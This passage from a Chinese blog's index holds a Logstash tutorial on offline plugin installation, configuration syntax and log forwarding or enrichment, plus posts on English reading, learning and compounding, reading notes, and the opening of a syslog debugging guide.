为https://gems.ruby-china.com\n2.4、安装插件 3、离线安装logstash插件 在实际应用过程中有些生产环境是封闭的网络环境，没法连接外网。这时候就需要离线安装插件。 说离线安装实际就是在一个有网络的环境下将插件装好，然后再装到离线环境中。 这里有两种方式, 一种就是在有网络的环境下将插件装好，将整个logsash包离线拷到生产环境。 另一种方式就是在有网络的环境下将插件装好后，将logstash的需要离线安装的插件打个离线包，然后再在生产环境进行离线安装。 离线插件包打包安装具体操作如下：\n3.1 通过logstash-plugin prepare-offline-pack 命令将插件打成zip包 1 ./logstash-plugin prepare-offline-pack --output logstash-output-syslog.zip logstash-output-syslog 打包命令执行成功以后，可以看到在logstash的bin目录下有打成的离线插件zip包 3.2 通过logstash-plugin install 进行离线安装 1 bin/logstash-plugin install file:///home/logstash/logstash-7.6.2/tools/logstash-output-syslog.zip 安装后成功会有如下提示\n1 2 Installing file: /home/logstash/logstash-7.6.2/tools/logstash-output-syslog.zip Install successful 3.2 通过logstash-plugin list命令检查插件是否安装成功 4、logstash简单配置说明 语法 Logstash 设计了自己的 DSL ——包括有区域，注释，数据类型(布尔值，字符串，数值，数组，哈希)，条件判断，字段引用等。\n区段(section) Logstash 用 {} 来定义区域。区域内可以包括插件区域定义，你可以在一个区域内定义多个插件。插件区域内则可以定义键值对设置。示例如下：\n1 2 3 4 input { stdin {} syslog {} } 数据类型 Logstash 支持少量的数据值类型：\nbool 1 debug =\u0026gt; true string 1 host =\u0026gt; \u0026#34;hostname\u0026#34; number 1 port =\u0026gt; 514 array 1 match =\u0026gt; [\u0026#34;datetime\u0026#34;, \u0026#34;UNIX\u0026#34;, \u0026#34;ISO8601\u0026#34;] hash 1 2 3 4 options =\u0026gt; { key1 =\u0026gt; \u0026#34;value1\u0026#34;, key2 =\u0026gt; \u0026#34;value2\u0026#34; } 字段引用(field reference) 如果想在 Logstash 配置中使用字段的值，只需要把字段的名字写在中括号 [] 里就行了，这就叫字段引用。 对于 嵌套字段(也就是多维哈希表，或者叫哈希的哈希)，每层的字段名都写在 [] 里就可以了。比如，你可以从 geoip 里这样获取 longitude 值： [geoip][location][0] logstash 的数组也支持倒序下标，即 [geoip][location][-1] 可以获取数组最后一个元素的值。 Logstash 还支持变量内插，在字符串里使用字段引用的方法是这样： \u0026ldquo;the longitude is %{[geoip][location][0]}\u0026rdquo;\n条件判断(condition) 表达式支持下面这些操作符： equality, etc: ==, !=, \u0026lt;, \u0026gt;, \u0026lt;=, \u0026gt;= regexp: =, ! inclusion: in, not in boolean: and, or, nand, xor unary: !() 通常来说，你都会在表达式里用到字段引用。比如： if \u0026ldquo;_grokparsefailure\u0026rdquo; not in [tags] { } else if [status] !~ /^2\\d\\d/ and [url] == \u0026ldquo;/noc.gif\u0026rdquo; { } else { }\n命令行参数 Logstash 提供了一个 shell 脚本叫 logstash 方便快速运行。它支持一下参数： -e 意即执行。我们在 \u0026ldquo;Hello World\u0026rdquo; 的时候已经用过这个参数了。事实上可以不写任何具体配置，直接运行 bin/logstash -e \u0026rsquo;\u0026rsquo; 达到相同效果。这个参数的默认值是下面这样： input { stdin { } } output { stdout { } } \u0026ndash;config 或 -f 意即文件。真实运用中，我们会写很长的配置，甚至可能超过 shell 所能支持的 1024 个字符长度。所以我们必把配置固化到文件里，然后通过 bin/logstash -f agent.conf 这样的形式来运行。 此外，logstash 还提供一个方便我们规划和书写配置的小功能。你可以直接用 bin/logstash -f /etc/logstash.d/ 来运行。logstash 会自动读取 /etc/logstash.d/ 目录下所有的文本文件，然后在自己内存里拼接成一个完整的大配置文件，再去执行。 \u0026ndash;configtest 或 -t 意即测试。用来测试 Logstash 读取到的配置文件语法是否能正常解析。Logstash 配置语法是用 grammar.treetop 定义的。尤其是使用了上一条提到的读取目录方式的读者，尤其要提前测试。 \u0026ndash;log 或 -l 意即日志。Logstash 默认输出日志到标准错误。生产环境下你可以通过 bin/logstash -l logs/logstash.log 命令来统一存储日志。 \u0026ndash;filterworkers 或 -w 意即工作线程。Logstash 会运行多个线程。你可以用 bin/logstash -w 5 这样的方式强制 Logstash 为过滤插件运行 5 个线程。\n四、logstash使用的几种典型的应用场景 1、通过logstash将syslog日志原始日志转发 在logstash的bin目录下新建配置文件\n1 vi test-pipeline.conf 编辑input和output\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 input { stdin{ type =\u0026gt; \u0026#34;test-log\u0026#34; } syslog{ type =\u0026gt; \u0026#34;test-log\u0026#34; port =\u0026gt; 514 } } output { stdout { codec =\u0026gt; rubydebug } syslog{ host =\u0026gt; \u0026#34;192.168.2.185\u0026#34; port =\u0026gt; 514 } } 这样就相当于把日志转发到了192.168.2.185这台机器的514端口 编辑好配置文件以后执行 ./logstash -f test-pipeline.conf --config.test_and_exit 对配置文件进行检查，如果配置文件写得有问题，将会有错误提示。 配置文件检查没有问题后就可以启动logstash执行了./logstash -f test-pipeline.conf --config.reload.automatic 用udpsender工具往这台机器上发送日志信息，可以看到日志转发到192.168.2.185这台机器上了。\n在控制台可以看到192.168.2.185，接收到了192.168.2.173转发过来的日志 2、通过rsyslog、logstash采集nginx等中间件的日志送到ES logstash可以与rsyslog、filebeat等无缝结合采集nginx等中间件日志，送给数据存储。 具体参见：https://xiejava.gitee.io/posts/f3e97829/\n3、通过logstash将日志入kafka再入mysql或ES 数据先放到kafka队列里缓存削峰，然后从kafka队列里读取数据到mysql或其他存储系统中进行保存。 具体参见：https://xiejava.gitee.io/posts/54e4fd14/\n4、通过logstash进行日志补全后再转发或入库 采集原始日志以后，需要对原始日志进行调整合补齐，比如最常见的是根据IP来补齐IP的经纬度等信息。\n这里就可以用logstash的geotip，也可以用其他的外部API接口，为了更具代表性的说明，这里调用的是第三方的http接口（http://ip-api.com/json/），这个接口也是可以自己定义的。 参考配置文件如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 input { stdin { } syslog { port =\u0026gt; \u0026#34;514\u0026#34; } } filter { grok{ #匹配获取IP match =\u0026gt; {\u0026#34;message\u0026#34; =\u0026gt; \u0026#34;%{IPV4:ip}\u0026#34;} } http { #调用外部接口获取IP的详细信息 url =\u0026gt; \u0026#34;http://ip-api.com/json/%{ip}\u0026#34; verb =\u0026gt; \u0026#34;GET\u0026#34; add_field =\u0026gt; { \u0026#34;new_field\u0026#34; =\u0026gt; \u0026#34;new_static_value\u0026#34; } } mutate { replace =\u0026gt; { #这里对原始日志数据进行补全，如加了新的字段及从接口中获取的信息 \u0026#34;message\u0026#34; =\u0026gt; \u0026#34;%{message}|%{ip}: My new message|%{new_field}|%{[body][as]}\u0026#34; } } } output { stdout { } syslog { host =\u0026gt; \u0026#34;192.168.2.173\u0026#34; port =\u0026gt; \u0026#34;7514\u0026#34; } } 通过http接口调用API取得数据，然后通过mutate重新组合补全信息，这里通过调用获取IP地址信息的API获取IP的信息，然后补全到原始日志中。 可以看出logstash是一个非常灵活好用的数据采集框架工具，可以通过简单的配置满足绝大多数数据采集场景的需求。\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-04-14-logstash%E7%AE%80%E6%98%8E%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B/","summary":"\u003ch1 id=\"一logstash是什么\"\u003e一、logstash是什么\u003c/h1\u003e\n\u003cp\u003eLogstash 是开源的服务器端\u003cstrong\u003e数据处理管道\u003c/strong\u003e，能够同时从多个来源采集数据，转换数据，然后将数据发送到您最喜欢的“存储库”中。\n官方介绍：Logstash is an open source data collection engine with real-time pipelining capabilities。简单来说logstash就是一根具备实时数据传输能力的管道，负责将数据信息从管道的输入端传输到管道的输出端；与此同时这根管道还可以让你根据自己的需求在中间加上滤网，Logstash提供里很多功能强大的滤网以满足你的各种应用场景。\nLogstash 能够动态地采集、转换和传输数据，不受格式或复杂度的影响。利用 Grok 从非结构化数据中派生出结构，从 IP 地址解码出地理坐标，匿名化或排除敏感字段，并简化整体处理过程。\u003c/p\u003e","title":"logstash简明实用教程"},{"content":" 2020年初立的flag就有要看完十本英文原著。看英文原著对于英语学渣的我来说几乎是很难想像的事情。说英语烂那只有自己知道，读书的时候从来就没有学好过，工作这么多年更是忘得一干二净了。与英语相爱相杀若干年，经历了无数次从开始到放弃\u0026hellip;\u0026hellip;\n非常羡慕别人能够很顺畅的看懂英文原著，能够丢开字幕看懂英语大片，能够飚一口的英文。有人说学好了英文就给自己多开了一扇了解世界的窗户，比别人多一半的人生经历。英语对于生活在全球化信息时代的我们来说有多么的重要，不用多说，道理啥的咱都知道，可是经历了这么多年还是学不会啊。买了N多的英语学习资料，下了N多的视频教程，查找了各种学习英语的方法。单词书永远都是翻了前面几页，英语学习资料屯了一堆从来没有开封过，市面上吹捧的各种英语学习方法感觉都很不错，尝试了很多种还是在尝试\u0026hellip;\u0026hellip;\n虽然有过无数次失败的经历，但也越来越认识到英语的重要性，也看到越来越多的人将英语学得很溜，让我清醒的认识到英语很重要，英语很难学，英语是一定是可以学好的，但是妄想速成是不可能的。如何才能最终习得英语的技能呢？\n前新东方英语老师李笑来在他的《财富自由之路》中指出在智力上、知识上、经验上，复利效应对每个人来说都是存在的。知识和能力的习得与积累是有复利效应的。所以，大多数的人应该要相信自己能够通过知识和能力的积累和复利获得成功和成长。经过多年教训，所有什么打着21天搞定单词，一个月看懂原著啥的口号都是骗人的。在英语技能的习得上，我笃信只有坚持积累和复利才能最终成功。我坚信经过自己的努力和坚持，我在英语习得上投入的精力和时间超过成本线以后，我的英语水平将会有突破性的提高。\n在英语学习的过程中有过《坚持了330天，我终于放弃了背单词》的经历，让我认识到只有“用”英语，才能够真正的掌握英语。目前我最朴素的需求就是想能够看懂英文文档，能够流畅的阅读英文书籍。而目前所处的语言环境\u0026quot;说\u0026quot;英语的需求不是很迫切。对于我来说能够流利阅读英语已经足够了。既然开始“用”英语，那就从大量开始阅读英语原版书开始吧！英语这么菜，我为什么敢挑战英文原版书呢？因为我看到了李笑来老师提到掌握一门外语的最少必要知识。 1、认识字母 2、认识音标 3、会查字典 4、懂点基本语法 5、会用百度或google等搜索引擎。 如果掌握了这些最小必要的知识，你就已经“入门”了，接下了就只剩下所谓“执行”了，也就是要用起来。 我想，这些最小必要的知识我基本都已经具备了。在正式准备看英语原著之前，我看完了全套149本《书虫》（见《看完全套149本《书虫》是种什么样的体验》）。对于英语的阅读相对来说没有那么怵了。 虽然我看完了全套149本《书虫》，但是《书虫》毕竟只是入门级的英语简写读物，与英语原版的原著还是有很大的距离的。\n作为英语原著初读者来说，真正看完一本书，完成从0到1的过程，比深刻理解一本书更重要。而对于初读者来说如何撸完一本英文原著还是比较有挑战的。\n首先要找到一本自己非常感兴趣并且适合自己难度的书籍。自己不感兴趣或者难度太难了，就会容易放弃。 对于挑选原版书的阅读材料来说，我也是花的一些功夫。网上有人建议刚开始接触英语原著建议是比较浅的原著如儿童读物《夏洛的网》、《格林童话》、《小王子》之类的。对于我这种成年人来说这类读物实在是提不起我的兴趣。还有人推荐《哈利波特》系列，我不是哈迷所以也没有选择《哈利波特》系列。我选择的是《奇迹男孩》。《奇迹男孩》的电影在2018年上映的时候我就想看，但是一直没有时间去看。正好买了这本英文原著来看看。《奇迹男孩》英文原著豆瓣评分9.1分，属于儿童成长类的书籍，老少皆宜，300来页长短适中不是那种大部头。因为是面向青少年的书籍所以单词不难，而且是近几年出的新书畅销书，比较口语化没有太多的长句子，非常通俗。事实证明《奇迹男孩》非常适合像我这样的英语原著初读者。 选择了阅读目标的原版书籍后，就要开始读并坚持下来 作为英语原著初读者，即使是最通俗的原版书，单词也会是一个拦路虎。单词没有办法，那就是勤查字典。《奇迹男孩》是面向青少年的书籍，单词不难，但对我来说也是充斥着各种生词。不过还好每页大概是在6、7个左右。如果按照伍君仪的《把你的词汇用起来》中的透析法，隔一个生词查一个，只查一半的生词，剩下的靠猜，那每页只要查2-3个单词左右，这个查词量已经很小了。因为这本书对我来说生词量6、7个不算多，而且作为原著初读者，猜单词的意思往往猜不准，所以我就索性看到不懂的单词每个都会查字典。为了尽快的撸完这本书，我也是给自己定了个目标，每天看30页。看少了不记得前后的情节，看多了怕自己看不下去。别看只有区区的30页，看中文也就半个小时的事情，但是看英文又要查字典，平均要花掉2-3个小时才能看完。所以对于英语原著初读者来说30页是个比较适中的量，后续如果熟练的可以慢慢的增加。这本《奇迹男孩》300多页，大概花了我一周半的时间。\n对于英语原版书是看电子版的还是纸质版的，建议还是先看纸质版的 作为英语原著初读者，我自己认为还是先看纸质版。看电子版的有个好处就是可以随时查字典，尤其是用kindle看，开启生词提示，并且长按生词就会调出字典查词，非常方便。正是因为太方便了，会让我们产生依赖，有时很容易的单词还会忍不住去查一下字典。而且有时候要往回看情节翻起来也不太方便。虽然有进度显示但是没有纸质书那么直观。纸质书看起来更加有感觉，可以前后翻，有时不记得前面的情节了可以方便的随时翻看，每天看了多少页插个书签就是。看着书签慢慢的插到了最后心里还是满满的成就感。\n对于英语原著初读者来说，撸完一本英文原著，完成从0到1的过程。这种小小的成就感，更加坚定了学习英语的信心。相信经过自己的努力和坚持，看完数十本英文原著以后，英语水平将会有突破性的提高。\n学习外语没有其他任何捷径，唯有“结硬寨,打呆仗;日拱一卒,功不唐捐!”\n我读过的英文读本豆列： https://www.douban.com/doulist/118432400/\n爱分享读书豆瓣小组： https://www.douban.com/group/655112/\n关注：“爱分享读书”微信公众号 读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2020-04-07-%E8%8B%B1%E8%AF%AD%E5%AD%A6%E6%B8%A3%E7%9A%84%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E6%92%B8%E5%AE%8C%E4%B8%80%E6%9C%AC%E8%8B%B1%E6%96%87%E5%8E%9F%E8%91%97%E7%9A%84/","summary":"\u003cp\u003e\u003cimg alt=\"英语原著\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200407/blogimage/englishimage.png\"\u003e\n2020年初立的flag就有要看完十本英文原著。看英文原著对于英语学渣的我来说几乎是很难想像的事情。说英语烂那只有自己知道，读书的时候从来就没有学好过，工作这么多年更是忘得一干二净了。与英语相爱相杀若干年，经历了无数次从开始到放弃\u0026hellip;\u0026hellip;\u003c/p\u003e","title":"英语学渣的我是如何撸完一本英文原著的"},{"content":"\n几乎每个人都知道1万小时定律，这个定律被人奉为圭臬。给每个渴望成功的同学们指明了方向，只要在某个领域付出不断的努力，达到10000个小时，就可以成为这方面的专家领袖。\n所谓“一万小时定律”，最早出现于作家格拉德威尔《异类》一书。在书中，格拉德威尔举出了例如比尔盖茨这样的例子，言之凿凿的声称：那些天才和专家之所以卓越非凡，并非他们的天赋超人一等，而是他们付出了持续不断的努力。而任何普通人都可以达到这样的目标，只需要付出10000小时的训练即可。\n这个定律非常符合大家的胃口，也有一定的道理，不怀疑在一个方向上持续不断的努力肯定会有所成功。在智力上、知识上、经验上，复利效应对每个人来说都是存在的。知识和能力的习得与积累是有复利效应的。所以，大多数的人应该要相信自己能够通过知识和能力的积累和复利获得成功和成长。\n但是10000小时不是个很短的时间，如果每天投入2个半小时，那要10年才能成为专家。大多数人不用说坚持10000个小时，坚持100个小时还没有入门，就已经倒下放弃了。而对正常人现实需求来说，一万小时是成为顶尖高手的门槛，可遇而不可求。想要获得比较好的收入，能够做出较好的事情，基本上只需要超过平均水平即可。不必凡事都跟行业内最顶尖的几个人相比，但是能够超过一个行业的平均水平，也足够获取比较好的利润、回报和成绩。\n对于任何一件事情、一个行业领域或者是一个学习任务而言也只有先入门了，取得了比较好的利润、回报和成绩，才会有兴趣持续的做下去，才可能有10000小时精进的努力。所以忘掉10000小时，先快速的入门达到超过行业平均水准，才能继续后面的牛逼。\n那么问题来了，如何才能快速的入门呢？ 李笑来的《财富自由之路》里，指出了两个关键字“最少必要知识”、\u0026quot;用\u0026quot; 当需要进入某个行业、获得某项技能的时候，一定要想办法在最短的时间里弄清楚都有哪些最小必要知识，然后迅速的掌握它们。任何人都可以完成快速入门。例如掌握一门外语的最少必要知识有哪些呢？ 1、认识字母 2、认识音标 3、会查字典 4、懂点基本语法 5、会用百度或google等搜索引擎。 如果掌握了这些最小必要的知识，你就已经“入门”了，接下了就只剩下所谓“执行”了，也就是要用起来。通过用起来才能从入门到熟练。然后就要专注于改进了。 所以快速学习或快速掌握一门技能进入某个行业。无外乎就是快速的掌握最小必要的知识迅速入门，然后通过不断的用起来，在用的过程中不断的实践。逐步从入门到熟练，熟练后就可以专注创新改进而达到精进。\n道理就是这么个道理，但是为什么有些人学什么东西入门就是比你快呢？ 就是他已有的背景知识掌握得比你广、比你好，比如同样是学机器学习，数学系的大概率的要比计算机系的要入门快，计算机系的大概率的要比文科类专业的入门要快。因为学机器学习需要比较强的数学知识背景，虽然入门同样是要掌握那几种常用的算法，数学系的理解起来要比非数学系统理解起来要快得多。\n所以要想快速进入某个行业、获得某项技能，先弄清楚这个行业都需要哪些最小必要知识，评估一下自己的背景知识的匹配度，迅速补齐掌握最小的必要知识，持续的用，不断的改进。实际上当你进入到某个行业实际上就已经补齐完善了你的背景知识。通过不断的学习，背景知识框架体系会越来越广，那你学东西会越来越快。形成一个正向循环。让你越来越牛逼！\n关注：“爱分享读书”微信公众号 读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-28-%E5%BF%98%E6%8E%8910000%E5%B0%8F%E6%97%B6%E5%A6%82%E4%BD%95%E5%BF%AB%E9%80%9F%E8%8E%B7%E5%BE%97%E6%9F%90%E9%A1%B9%E6%8A%80%E8%83%BD/","summary":"\u003cp\u003e\u003cimg alt=\"一万小时定律\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200328/blogimage/%E4%B8%80%E4%B8%87%E5%B0%8F%E6%97%B6%E5%AE%9A%E5%BE%8B.png\"\u003e\u003c/p\u003e\n\u003cp\u003e几乎每个人都知道1万小时定律，这个定律被人奉为圭臬。给每个渴望成功的同学们指明了方向，只要在某个领域付出不断的努力，达到10000个小时，就可以成为这方面的专家领袖。\u003c/p\u003e","title":"忘掉10000小时，如何快速获得某项技能"},{"content":"刘未鹏说——\n写博客这件事情给我最大的体会就是，一件事情如果你能够坚持做8年，那么不管效率和频率多低，最终总能取得一些很可观的收益。而另一个体会就是，一件事情只要你坚持得足够久，“坚持”就会慢慢变成“习惯”。原本需要费力去驱动的事情便成了家常便饭，云淡风轻。\n这本书便是从刘未鹏8年的博客文章中精选出来的，主要关于心智模式、学习方法和时间利用，《暗时间》的书名便来自于此。\n第一章 暗时间 善于利用思维时间的人，可以无形中比别人多出很多时间，从而实际意义上能比别人多活很多年。 学习一门专业应该是投入之间和效率的乘积。 你可以“投入”很多时间在一件事情上面，却发现毫无进展，因为你没有整天把你要做的事情，要学习的东西常驻在你的大脑中，时刻给予它最高的优先级。 如果你有做总结的习惯，你在度过一段时间之后总结自己在某某领域投入了多少时间，建议千万不要粗略地去计算有多少天下班后拿起书来翻看过，因为这样你也许会发现书倒是常翻，但领悟却不见得多深，表面上花的时间不少，收益却不见得那么大。因为看书并记住书中的东西只是记忆，并没有涉及推理，只有靠推理才能深入理解一个事物，看到别人看都不到的地方，这部分推理的过程就是你的思维时间，也是人一生中占据一个显著比例的“暗时间”，你走路、买菜、洗脸洗手、坐公车、逛街、出游、吃饭、睡觉，所有这些时间都可以成为“暗时间”，你可以充分利用这些时间进行思考，反刍和消化平时看和读的东西，让你的认识能够脱离照本宣科的层面。\n第二章 设计你自己的进度条 如果没有进度提示，我们无法判断这个等待什么时候才是个尽头。如果有不断增长的进度条，那么我们对于什么时候会达到100%就会有一个粗略的估计。做事情也是同样的道理，善于规划的人，会将目标分割成一个个的里程碑，再将里程碑分割成TODO列表。 过早退出是一切失败的根源。 兴趣遍地都是，专注和持之以恒才是真正稀缺的。 靠专业技能的成功是最具可复制性的。它需要的只是你在一个领域坚持不懈地专注下午，只需要选择一个不算太靠谱的方向，然后专心致志的专下去，最后必然能成为高手或绝顶高手。 反思是让人得以改进自己的最重要的思维品质。 一生的知识积累，自学的起码占90%\n第三章 如何有效地记忆与学习 你所拥有的知识并不取决于你记得多少，而在于它们能否在恰当的时候被回忆起来。 如何有效的总结知识，学以致用 1）养成习惯，经常主动回顾一段时间学到的东西。 2）创造回忆的机会 2.1）经常与别人讨论，或者讲给别人听。“教是最好的学” 2.2）整理笔记。 2.3）书写。“书写是更好的思考” 3）设身处地的“虚拟经历”别人经历过的事情。 4）抽象和推广 5）联系/比较自身的经历\n第五章 学习习惯 一、学习与思考 1、Google\u0026amp;Wiki 遇到问题先上网搜索，自己找答案。 2、看书只看经典。 3、做读书笔记。便于回顾、加深理解 a.将自己阅读时候的思考总结下来。 b.将书中的好例子摘抄下来。 4、无时不可不思考。思考可以避免焦虑。 5、要事优先 6、重要的事情营造比较大的时间块来完成。 7、多看心理学与思维的书。 8、学习一项知识三问（a.它的本质是什么。b.它的第一原则是什么。c.它的知识结构是怎样的） 9、获得的多少并不取决于读了多少，而取决于思考了多少，多深。 10、善于利用小块时间。 11、养成好习惯。\n二、时间管理 1、学习和思考过程中常问自己几个问题 a.你的问题到底是什么？（提醒自己思考不要偏离问题） b.到现在为止，我到底有了什么收获呢？（提醒自己时不时去总结，整理学习的东西） c.设想自己正在将东西讲给别人听。 d.时常反省和注意自己的思维过程。（将思维的大致脉络写下来是个很好的习惯） e.养成反驳自己的想法的习惯。 f.人的思维天生就是极易流于表面来理解事物的。觉得自己理解了一个问题了吗？条件反射的问自己：你真的理解了吗？你真的理解了问题的本质吗？问题的本质到底是什么？目前我的理解是什么？我对这个理解感到满意吗？这样的理解到底有什么建设性呢？等等。 2、重视知识的本质 3、重视积累的强大力量，万事提前准备。 4、抬起头来：时不时抬起头来审视一下自己正在做的事情，自问一下有什么价值，是不是你真正希望做的。它们重要吗？你需要在这个时候学这些吗？你的时间就是你的资源，你投入这些资源来掌握知识，所以到底用来掌握哪些知识是一个很重要的问题。\n三 知识结构 抓住不变量 知识分为essential(必要)和non-essential（非必要）的。对于前者提前深入掌握牢靠，对于后者采取待用到的时刻RTM(Read the manual)方法。\n第八章 书写是为了更好的思考 1、书写是对思维的备忘 2、书写是对思维的缓存 3、书写是与自己的对话 4、书写是与别人的交流 如果你着自己将一些不成熟的想法写下来，看着自己写的内容，试着进一步拓展它们，就有可能在理性的道路上走得很远，很远。\n第九章 为什么你从现在开始就应该写博客 用博客的形式来记录下你有价值的思考，会带来很多好处，却没有任何明显的坏处。 价值博客的几点好处 1、能交到很多志同道合的朋友。 2、书写是为了更好的思考 3、教是最好的学 4、讨论是绝佳的反思 5、激励你去持续学习和思考 6、学会持之以恒地做一件事情。 7、一个长期的价值博客是一份很好的简历。\n第十二章 什么才是你的不可替代性\u0026amp;核心竞争力 1、专业领域技能：成为一个专业领域的专家，你的专业技能越强，在这个领域的不可替代性就越高。 2、跨领域的技能：解决问题的能力，创新思维，判断与决策能力，批判性思维能力，表达沟通能力等等。 3、学习能力：持续学习和思考 4、性格要素：专注、持之以恒、自信、自省、好奇心。等等。\n关注：“爱分享读书”微信公众号 读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-28-%E6%9A%97%E6%97%B6%E9%97%B4%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/","summary":"\u003cp\u003e刘未鹏说——\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e写博客这件事情给我最大的体会就是，一件事情如果你能够坚持做8年，那么不管效率和频率多低，最终总能取得一些很可观的收益。而另一个体会就是，一件事情只要你坚持得足够久，“坚持”就会慢慢变成“习惯”。原本需要费力去驱动的事情便成了家常便饭，云淡风轻。\u003c/strong\u003e\u003c/p\u003e","title":"《暗时间》读书笔记"},{"content":"\n实现财富自由是现如今大部分人的理想。不管是加班工作赚钱也好，搞刚需副业也好，还是创业做投资也好都是为了一个目的实现财富自由。有些人早早的就已经实现了财富自由，有些人一辈子也没有实现财富自由，更多的人则是在追求财富自由的路上。\n看过《穷爸爸富爸爸》的人都知道财富自由是指你无须为生活开销而努力为钱工作的状态。简单地说，你的资产生的被动收入必须至少等于或超过你的日常开资\u0026ndash;这是我们大多数人向往的状态。这个定义非常清晰，大多数的人都认同这种说法。但是对我来说感触最深的还是李笑来老师在他的《财富自由之路》里面的定义：“个人财富自由，是指某个人再也不用为了满足生活必须而出售自己的时间了”。这是多么深刻的认识啊，你加班工作也好，副业也好不都是在出售自己的时间获得财富吗？即使是创业做投资本质上也是在出售自己的时间，是在购买别人的时间再出售出去，只是有可能这样出售自己时间的效率更高而已。\n李笑来老师在对时间的理解、对心智的认识，对学习的认识、对成长的认识，我觉得都非常的深刻。有人说他的书是鸡汤，但是他总是可以用非常浅显深刻的道理让你心甘情愿的干了这碗鸡汤还回味无穷。他的《财富自由之路》就是这么一本书。\n我们要的自由，其本质不是财富，财富只是工具：我们要的自由，本质上是时间的自主权。所以个人财富自由，是指某个人再也不用为了满足生活必须而出售自己的时间了。\n如何才能让自己财富自由呢？一个世人皆知的道理就是积累和复利。\n爱因斯坦曾经说过：复利是“世界第八大奇迹”。知之者赚，不知之者被赚。但是复利并不是凭空来的，你得现有成本的积累，积累越大复利的效果随着时间的推移效果会越来越显著。\n对于资产投资者来说，如果你的投资收益如果是正的话，你不断的积累复投，若干年后你的财富增长将相当的可观。如果天生有个好爹可以继承财富，那么你起点就比别人高，可以通过财富的复利实现自由。但是大多数人没有爹可以拼，没有大笔财富可以继承。不过万幸并且公平的是，在智力上、知识上、经验上，复利效应对每个人来说都是存在的。知识和能力的习得与积累是有复利效应的。所以，大多数的人应该要相信自己能够通过知识和能力的积累和复利获得成功和成长。\n一切有意义的成长过程都符合那个“复利曲线”。起初看来斜率突然发生变化的“点”，叫做“拐点”。如果作为一个投资者，你的投资是正利率，那么你的资产变化情况也符合这个有拐点、突破了成本线的、后端急速上扬的“复利曲线”。\n如果没有资产可以继承，那就持续积累知识和能力吧。这是大多数人可以成功实现财富自由并且一定能成功的可靠路径。关注成长，而不是成功，因为当你的成长线终于穿越成本线时，你事实上已经成功了，可那肯定不是终点。因为如果你不成长了，有可能这个成长线还会往下掉，将你的成功的成果吞噬。\n既然\u0026quot;复利曲线\u0026quot;那么有效，那为什么还有那么多人在成本线下苦苦挣扎，没有碰到所谓的拐点，更不用说什么财富自由了。这里要注意几个被容易忽视的东西，那就是“投入方向”、“沉没成本”、“利润”，“贬值”。\n投入方向 如果方向有问题，那么你的努力就是南辕北辙，越努力离成功距离越远，那就谈不上什么积累和复利了。比如现在一个行业已经日落西山了要消亡，你还在这个行业傻傻的坚持努力。基本上是不可能成功的。\n沉没成本 当你选择了一个正确的方向，经过了一段时间的努力，取得了一点小小的成绩，但是你停止了放弃了。在积累和复利之前就投降放弃了，以前的努力付出就成了沉没成本。\n一个切身体会的例子，就是学英语。比如我通过一段时间的努力，看完了149本书虫，但是最近我放松了自己没有看英语了。如果还经过一段时间不坚持不努力，那我以前积累的这些单词什么的又会忘了。以前的努力将会白费了变成了“沉没成本”。\n今天搞搞这个、明天搞搞那个，很多的努力就变成了沉没成本。回头一看，啥都没有积累更谈不上有复利了。所以如果要实现“复利曲线”。坚持和积累非常重要。\n利润 复利复利，没有利润怎么能复利呢。利润高的复利效果更加明显，这个道理傻瓜都知道。所以说坚持做一件事情要考虑利润，也就是投入产出比。\n比如花大量的时间放在看肥皂剧、刷社交软件上，这些事情不能让你成长或让你的能力提升有限，那对你能力成长产生复利的效果当然有限啊。\n贬值 作为资本投资来说要考虑货币贬值，作为知识和能力的习得者来说要考虑知识的贬值。大家都知道计算机技术发展速度迅速，很多技术很快随着科技发展迅速的淘汰贬值。比如以前的CGI 、ASP、VB 等开发语言和技术现在都很少用了。那以前花精力学的这些知识都大幅度贬值了。当然有些知识和技能的贬值速度慢一些，比如通识知识、英语、驾驶、写作等。你赚钱的速度要大于你花钱的速度，你的资本才会有所以积累，有积累才有复利的可能。所以你的学习新知识的速度应该要大于知识贬值速度，你的知识和能力才会有积累和复利的可能。\n用正确的方式做正确的事情，你一定会变得更好！\n若长期持续用正确的方法做正确的事情，你的未来一定会很伟大！\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-27-%E4%BD%A0%E6%89%80%E8%B0%93%E7%9A%84%E8%B4%A2%E5%AF%8C%E8%87%AA%E7%94%B1%E6%98%AF%E4%BB%80%E4%B9%88/","summary":"\u003cp\u003e\u003cimg alt=\"财富自由\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200327/blogimage/%E8%B4%A2%E5%AF%8C%E8%87%AA%E7%94%B1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e实现财富自由是现如今大部分人的理想。不管是加班工作赚钱也好，搞刚需副业也好，还是创业做投资也好都是为了一个目的实现财富自由。有些人早早的就已经实现了财富自由，有些人一辈子也没有实现财富自由，更多的人则是在追求财富自由的路上。\u003c/p\u003e","title":"你所谓的财富自由是什么？"},{"content":"日志数据采集，比较方便常用的就是通过syslog来进行数据采集，syslog可以通过udp协议来进行高效的数据传输。一般来说在工程实施的过程中需要对接对端系统的数据采集源可以通过以下步骤来进行syslog日志接口的调试。主要是验证syslog日志是否能正常送到指定的日志服务器的指定端口，日志服务器的指定端口是否能正常收到对端发过来的日志。\n1、检查双方网络是否通畅 网络通畅是所有网络连接的前提条件，可以先通过ping的方式，先确认一下对端数据源是不是可以ping通这边的日志接收服务器地址，看网络是否是通的。 一般来说只到对端能够ping通日志服务器地址就可以了，单向ping通就OK。 如果ping不通，那就要检查日志服务器的网络设置，如是否开启了防火墙，禁ping了。根据网络实际情况调整网络策略，确保网络是通的。\n2、检查端口是否通畅 